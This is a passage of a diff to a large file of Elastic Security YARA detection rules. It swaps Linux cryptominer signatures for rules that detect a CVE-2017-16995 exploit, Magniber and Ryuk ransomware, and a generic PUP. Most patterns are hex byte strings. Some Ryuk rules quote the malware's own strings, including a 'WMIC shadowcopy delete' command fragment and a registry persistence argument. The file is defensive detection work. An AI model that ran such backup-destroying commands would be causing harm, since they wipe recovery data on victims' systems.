+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "14e6b788db0db57067d9885ab5ff3d3a5749639549d82abd98fa4fcf27000f34"
+		logic_hash = "3ae00290073d41ff5dba2f677510bf9a9c0ebaed221901eb8b1a8dda08157a46"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "02e1be4a7073e849b183851994c83f1f2077fe74cbcdd0b3066999d0c9499a09"
+		tags = "FILE, MEMORY, CVE-2017-16995"
+		fingerprint = "1a716566946fdd368230c02e2c749b6ce371fa6211be6b3db137af9b117bec87"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -90409,28 +94249,28 @@ rule ELASTIC_Linux_Cryptominer_Malxmr_D13544D7 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 51 50 4D 21 EB 4B 8D 0C 24 4C 89 54 24 90 4C 89 DD 48 BA AA AA AA AA AA AA }
+		$a = { BC 89 45 C0 8B 45 B8 48 98 48 C1 E8 03 89 45 C4 48 8B 45 B0 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Malxmr_Ad09E090 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2017_16995_5Edb0181 : FILE MEMORY CVE_2017_16995
 {
 	meta:
-		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
+		description = "Detects Linux Exploit Cve 2017 16995 (Linux.Exploit.CVE-2017-16995)"
 		author = "Elastic Security"
-		id = "ad09e090-098e-461d-b967-e45654b902bb"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "5edb0181-dfb1-47e2-873b-0fa3043bee67"
+		date = "2022-01-05"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Malxmr.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cdd3d567fbcbdd6799afad241ae29acbe4ab549445e5c4fc0678d16e75b40dfa"
-		logic_hash = "6c2d548ba9f01444e8fe4b0aa8a0556970acac06d39bb7c87446b6b91ab0d129"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2017_16995.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e4df84e1dffbad217d07222314a7e13fd74771a9111d07adc467a89d8ba81127"
+		logic_hash = "f6eb19329db765938b48021039baaf1b5aeb3240c405ba20ed81863a0fb4b583"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "a62729bbe04eca01dbb3c56de63466ed115f30926fc5d203c9bae75a93227e09"
+		tags = "FILE, MEMORY, CVE-2017-16995"
+		fingerprint = "804635a4922830b894ed38f58751f481d389e5bfbea7a50912763952971844e6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -90438,462 +94278,493 @@ rule ELASTIC_Linux_Cryptominer_Malxmr_Ad09E090 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 24 50 8B 44 24 64 89 54 24 54 39 C3 77 0E 72 08 8B 44 24 60 }
+		$a = { F8 2F 77 0F 45 89 C2 49 89 D1 41 83 C0 08 4A 8D 54 15 D0 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Malxmr_12299814 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Magniber_Ea0140A1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
+		description = "Detects Windows Ransomware Magniber (Windows.Ransomware.Magniber)"
 		author = "Elastic Security"
-		id = "12299814-c916-4cad-a627-f8b082f5643d"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "ea0140a1-b745-47f1-871f-5b703174a049"
+		date = "2021-08-03"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Malxmr.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "eb3802496bd2fef72bd2a07e32ea753f69f1c2cc0b5a605e480f3bbb80b22676"
-		logic_hash = "52e8bcd0512cedf0fa048b6990a5d331f4302d99b00681c83a76587415894b1e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Magniber.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a2448b93d7c50801056052fb429d04bcf94a478a0a012191d60e595fed63eec4"
+		logic_hash = "e2c05e2c92444d7bcb2bf68e97f809072d2ccdc8a171214d2e7a498b20d08f90"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b626f04a8648b0f42564df9c2ef3989e602d1307b18256e028450c495dc15260"
+		fingerprint = "b3c17024097af846f800a843da404dccb6d33eebb90a8524f2f2ec8a5c5df776"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 3C 40 00 83 C4 10 89 44 24 04 80 7D 00 00 74 97 83 EC 0C 89 }
+		$a1 = { 58 C0 FF 24 4C 8B F0 48 89 45 18 E8 E2 F5 FF FF B9 A1 BD D1 CF 48 89 45 B8 E8 D4 F5 FF FF B9 52 C6 D7 0E 48 89 45 F8 E8 C6 F5 FF FF B9 43 AC 95 0E 48 89 45 B0 E8 B8 F5 FF FF B9 78 D4 33 27 4C 8B F8 48 89 45 D0 E8 A7 F5 FF FF B9 FE 36 04 DE 48 89 44 24 50 E8 98 F5 FF FF B9 51 23 2E F2 48 89 45 10 E8 8A F5 FF FF B9 DA F6 8A 50 48 89 45 08 E8 7C F5 FF FF B9 AD 9E 5F BB 48 89 45 20 E8 6E F5 FF FF B9 2D 57 AE 5B 48 89 45 A0 E8 60 F5 FF FF B9 C6 96 87 52 48 89 45 C8 E8 52 F5 FF FF B9 F6 76 0F 52 48 89 45 A8 E8 44 F5 FF FF B9 A3 FC 62 AA 48 8B F0 48 89 45 98 E8 33 F5 }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Linux_Cryptominer_Malxmr_A47B77E4 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Magniber_97D7575B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
+		description = "Detects Windows Ransomware Magniber (Windows.Ransomware.Magniber)"
 		author = "Elastic Security"
-		id = "a47b77e4-0d8d-4714-8527-7b783f0f27b8"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "97d7575b-8fc7-4c6b-8371-b62842d90613"
+		date = "2021-08-03"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Malxmr.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "995b43ccb20343494e314824343a567fd85f430e241fdeb43704d9d4937d76cc"
-		logic_hash = "bd2b14c8b8e2649af837224fadb32bf0fb67ac403189063a8cb10ad344fb8015"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Magniber.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a2448b93d7c50801056052fb429d04bcf94a478a0a012191d60e595fed63eec4"
+		logic_hash = "9c85f98aaae28e9e90a94d6ce18389467013ea6b569f46f6acaf26a6c7e027fc"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "635a35defde186972cd6626bd75a1e557a1a9008ab93b38ef1a3635b3210354b"
+		fingerprint = "78253be69d9715892ec725918c3c856040323b83aeab8b84c4aac47355876207"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 8D 48 49 5E 97 87 DC 73 86 19 51 B3 36 1A 6E FC 8C CC 2C 6E 0B }
+		$a1 = { 00 4C 00 4C 00 20 00 59 00 4F 00 55 00 52 00 20 00 44 00 4F 00 43 00 55 00 4D 00 45 00 4E 00 54 00 53 00 20 00 50 00 48 00 4F 00 54 00 4F 00 53 00 20 00 44 00 41 00 54 00 41 00 42 00 41 00 53 00 45 00 53 00 20 00 41 00 4E 00 44 00 20 00 4F 00 54 00 48 00 45 00 52 00 20 00 49 00 4D 00 50 00 4F 00 52 00 54 00 41 00 4E 00 54 00 20 00 46 00 49 00 4C 00 45 00 53 00 20 00 48 00 41 00 56 00 45 00 20 00 42 00 45 00 45 00 4E 00 20 00 45 00 4E 00 43 00 52 00 59 00 50 00 54 00 45 00 44 00 21 00 0D }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Linux_Cryptominer_Malxmr_21D0550B : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Ryuk_25D3C5Ba : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
+		description = "Identifies RYUK ransomware"
 		author = "Elastic Security"
-		id = "21d0550b-4f15-4481-ba9c-2be26ea8f81a"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Malxmr.yar#L81-L99"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "07db41a4ddaac802b04df5e5bbae0881fead30cb8f6fa53a8a2e1edf14f2d36b"
-		logic_hash = "c9a12eee281b1e944b5572142c5e18ff087989f45026a94268df22d483210178"
+		id = "25d3c5ba-8f80-4af0-8a5d-29c974fb016a"
+		date = "2020-04-30"
+		modified = "2021-08-23"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Ryuk.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "4d461ff9b87e3a17637cef89ff8a85ef22f69695d4664f6fe8f271a6a5f7b4bc"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "5b556d2e3e48fda57c741c4c7b9efb72aad579e5055df366cdb9cfa38e496494"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "18e70599e3a187e77697844fa358dd150e7e25ac74060e8c7cf2707fb7304efd"
+		threat_name = "Windows.Ransomware.Ryuk"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 3B 31 C0 48 83 C9 FF 48 89 EE F2 AE 48 8B 3B 48 F7 D1 48 FF C9 }
+		$g1 = { 41 8B C0 45 03 C7 99 F7 FE 48 63 C2 8A 4C 84 20 }
 
 	condition:
-		all of them
+		1 of ($g*)
 }
-rule ELASTIC_Linux_Cryptominer_Malxmr_C8Adb449 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Ryuk_878Bae7E : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
+		description = "Identifies RYUK ransomware"
 		author = "Elastic Security"
-		id = "c8adb449-3de5-4cdd-9b62-fe4bcbe82394"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Malxmr.yar#L101-L119"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "00ec7a6e9611b5c0e26c148ae5ebfedc57cf52b21e93c2fe3eac85bf88edc7ea"
-		logic_hash = "9c43602dc752dd737a983874bee5ec6af145ce5fdd45d03864a1afdc2aec3ad4"
+		id = "878bae7e-1e53-4648-93aa-b4075eef256d"
+		date = "2020-04-30"
+		modified = "2021-08-23"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Ryuk.yar#L22-L42"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "94bed2220aeb41ae8069cee56cc5299b9fc56797d3b54085b8246a03d9e8bd93"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "838950826835e811eb7ea3af7a612b4263d171ded4761d2b547a4012adba4028"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "93a501463bb2320a9ab824d70333da2b6f635eb5958d6f8de43fde3a21de2298"
+		threat_name = "Windows.Ransomware.Ryuk"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { D2 4C 89 54 24 A0 4C 89 FA 48 F7 D2 48 23 54 24 88 49 89 D2 48 8B 54 }
+		$b2 = "RyukReadMe.html" wide fullword
+		$b3 = "RyukReadMe.txt" wide fullword
 
 	condition:
-		all of them
+		1 of ($b*)
 }
-rule ELASTIC_Linux_Cryptominer_Malxmr_Bcab1E8F : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Ryuk_6C726744 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
+		description = "Identifies RYUK ransomware"
 		author = "Elastic Security"
-		id = "bcab1e8f-8a8f-4309-8e47-416861d1894c"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Malxmr.yar#L121-L139"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "19df7fd22051abe3f782432398ea30f8be88cf42ef14bc301b1676f35b37cd7e"
-		logic_hash = "72643b2860f40c7e901c671d7cc9992870b91912df5d75d2ffba0dfb8684f8d3"
+		id = "6c726744-acdb-443a-b683-b11f8b657f7a"
+		date = "2020-04-30"
+		modified = "2021-08-23"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Ryuk.yar#L44-L67"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "ee7586d5cbef23d1863a4dfcc5da9b97397c993268881922c681022bf4f293f0"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "2106f2ba97c75468a2f25d1266053791034ff9a15d57df1ba3caf21f74b812f7"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "d0a4608907e48d02d78ff40a59d47cad1b9258df31b7312dd1a85f8fee2a28d5"
+		threat_name = "Windows.Ransomware.Ryuk"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { EB D9 D3 0B EB D5 29 0B EB D1 03 48 6C 01 0B EB CA 0F AF 0B }
+		$a1 = "172.16." ascii fullword
+		$a2 = "192.168." ascii fullword
+		$a3 = "DEL /F" wide fullword
+		$a4 = "lsaas.exe" wide fullword
+		$a5 = "delete[]" ascii fullword
 
 	condition:
-		all of them
+		4 of ($a*)
 }
-rule ELASTIC_Linux_Cryptominer_Malxmr_6671F33A : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Ryuk_1A4Ad952 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
+		description = "Identifies RYUK ransomware"
 		author = "Elastic Security"
-		id = "6671f33a-03bb-40d8-b439-64a66082457d"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Malxmr.yar#L141-L159"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "85fa30ba59602199fd99463acf50bd607e755c2e18cd8843ffcfb6b1aca24bb3"
-		logic_hash = "a15c842c7c7ec3b11183a1502f8ec03ea786e3f0d47fbab58c62ffff7b018030"
+		id = "1a4ad952-cc99-4653-932b-290381e7c871"
+		date = "2020-04-30"
+		modified = "2021-08-23"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Ryuk.yar#L69-L88"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "bb854f5760f41e2c103c99d8f128a2546926a614dff8753eaa1287ac583e213a"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "cb178050ee351059b083c6a71b5b1b6a9e0aa733598a05b3571701949b4e6b28"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "d8c5162850e758e27439e808e914df63f42756c0b8f7c2b5f9346c0731d3960c"
+		threat_name = "Windows.Ransomware.Ryuk"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 4D 18 48 01 4B 18 5A 5B 5D C3 83 C8 FF C3 48 85 FF 49 89 F8 }
+		$e1 = { 8B 0A 41 8D 45 01 45 03 C1 48 8D 52 08 41 3B C9 41 0F 45 C5 44 8B E8 49 63 C0 48 3B C3 72 E1 }
 
 	condition:
-		all of them
+		1 of ($e*)
 }
-rule ELASTIC_Linux_Cryptominer_Malxmr_74418Ec5 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Ryuk_72B5Fd9D : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
+		description = "Identifies RYUK ransomware"
 		author = "Elastic Security"
-		id = "74418ec5-f84a-4d79-b1b0-c1d579ad7b97"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Malxmr.yar#L161-L179"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d79ad967ac9fc0b1b6d54e844de60d7ba3eaad673ee69d30f9f804e5ccbf2880"
-		logic_hash = "e74463f53611baaec7c8e126218d8353c6e3a5e71c20e98a7035df6b771b690b"
+		id = "72b5fd9d-23db-4f18-88d9-a849ec039135"
+		date = "2020-04-30"
+		modified = "2021-08-23"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Ryuk.yar#L90-L109"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "b2abc8f70df5d730ce6a7d0bc125bb623f27b292e7d575914368a8bfc0fb5837"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "ec14cac86b2b0f75f1d01b7fb4b57bfa3365f8e4d11bfed2707b0174875d1234"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "7c394aa283336013b74a8aaeb56e8363033958b4a1bd8011f3b32cfe2d37e088"
+		threat_name = "Windows.Ransomware.Ryuk"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { F9 75 7A A8 8A 65 FC 5C E0 6E 09 4B 8F AA B3 A4 66 44 B1 D1 13 }
+		$d1 = { 48 2B C3 33 DB 66 89 1C 46 48 83 FF FF 0F }
 
 	condition:
-		all of them
+		1 of ($d*)
 }
-rule ELASTIC_Linux_Cryptominer_Malxmr_979160F6 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Ryuk_8Ba51798 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
+		description = "Identifies RYUK ransomware"
 		author = "Elastic Security"
-		id = "979160f6-402a-4e4b-858a-374c9415493b"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Malxmr.yar#L181-L198"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "e70097fb263c90576e87e76cc7be391dbf9c9d73bbd7fb8e5ec282e6ac1f648d"
+		id = "8ba51798-15d7-4f02-97fa-1844465ae9d8"
+		date = "2020-04-30"
+		modified = "2021-08-23"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Ryuk.yar#L111-L137"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "0733ae6a7e38bc2a25aa76a816284482d3ee25626559ec5af554b5f5070e534a"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "fb933702578e2cf7e8ad74554ef93c07b610d6da8bc5743cbf86c363c1615f40"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "8e284bc6015502577a6ddd140b9cd110fd44d4d2cb55d0fdec5bebf3356fd7b3"
+		threat_name = "Windows.Ransomware.Ryuk"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { E0 08 C1 ED 10 41 31 C3 89 D8 45 09 D0 C1 E8 10 C1 E3 10 41 C1 }
+		$c1 = "/v \"svchos\" /f" wide fullword
+		$c2 = "cmd /c \"WMIC.exe shadowcopy delet\"" ascii fullword
+		$c3 = "lsaas.exe" wide fullword
+		$c4 = "FA_Scheduler" wide fullword
+		$c5 = "ocautoupds" wide fullword
+		$c6 = "CNTAoSMgr" wide fullword
+		$c7 = "hrmlog" wide fullword
+		$c8 = "UNIQUE_ID_DO_NOT_REMOVE" wide fullword
 
 	condition:
-		all of them
+		3 of ($c*)
 }
-rule ELASTIC_Linux_Cryptominer_Malxmr_Fe7139E5 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Ryuk_88Daaf8E : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
-		author = "Elastic Security"
-		id = "fe7139e5-3c8e-422c-aaf7-e683369d23d4"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Malxmr.yar#L200-L218"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8b13dc59db58b6c4cd51abf9c1d6f350fa2cb0dbb44b387d3e171eacc82a04de"
-		logic_hash = "d1ef74f2a74950845091b2ebc2f7fd05980bcbd2aea4fdd9549c54cec1768501"
+		description = "Identifies RYUK ransomware"
+		author = "Elastic Security"
+		id = "88daaf8e-0bfe-46c4-9a75-2527d0e10538"
+		date = "2020-04-30"
+		modified = "2021-08-23"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Ryuk.yar#L139-L158"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "6fc463976c0fb9c3e4f25d854545d07800c63730826f3974298f0077d272cff0"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "4af38ca3ec66ca86190e6196a9a4ba81a0a2b77f88695957137f6cda8fafdec9"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "b1f218a9bc6bf5f3ec108a471de954988e7692de208e68d7d4ee205194cbbb40"
+		threat_name = "Windows.Ransomware.Ryuk"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { FF 74 5B 48 29 F9 49 89 DC 4C 8D 69 01 49 D1 ED 4C 01 E9 4D 8D 6C }
+		$f1 = { 48 8B CF E8 AB 25 00 00 85 C0 74 35 }
 
 	condition:
-		all of them
+		1 of ($f*)
 }
-rule ELASTIC_Linux_Cryptominer_Malxmr_F35A670C : FILE MEMORY
+rule ELASTIC_Windows_PUP_Generic_198B73Aa : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
+		description = "Detects Windows Pup Generic (Windows.PUP.Generic)"
 		author = "Elastic Security"
-		id = "f35a670c-7599-4c93-b08b-463c4a93808a"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "198b73aa-d7dd-4f28-bf1c-02672a03d031"
+		date = "2023-07-27"
+		modified = "2023-09-20"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Malxmr.yar#L220-L238"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a73808211ba00b92f8d0027831b3aa74db15f068c53dd7f20fcadb294224f480"
-		logic_hash = "95a8aeffb7193c3f4adfea5b7f0741a53528620c57cbdb4d471d756db03c6493"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_PUP_Generic.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "a584c34b9dfc2d78bf8a1e594a2ed519d20088184ce1df09e679b2400aa396d3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9064024118d30d89bdc093d5372a0d9fefd43eb1ac6359dbedcf3b73ba93f312"
+		fingerprint = "23c11df4ce2ec2d30b1916b73fc94a84b6a817c1686905fd69fa7a6528798d5f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 4C 01 CD 48 0F AF D6 48 8D 54 55 00 89 DD 48 31 D7 48 C1 C7 20 }
+		$a1 = "[%i.%i]av=[error]" fullword
+		$a2 = "not_defined" fullword
+		$a3 = "osver=%d.%d-ServicePack %d" fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Malxmr_70E5946E : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Zam_928812A7 : FILE
 {
 	meta:
-		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
+		description = "Detects Windows Vulndriver Zam (Windows.VulnDriver.Zam)"
 		author = "Elastic Security"
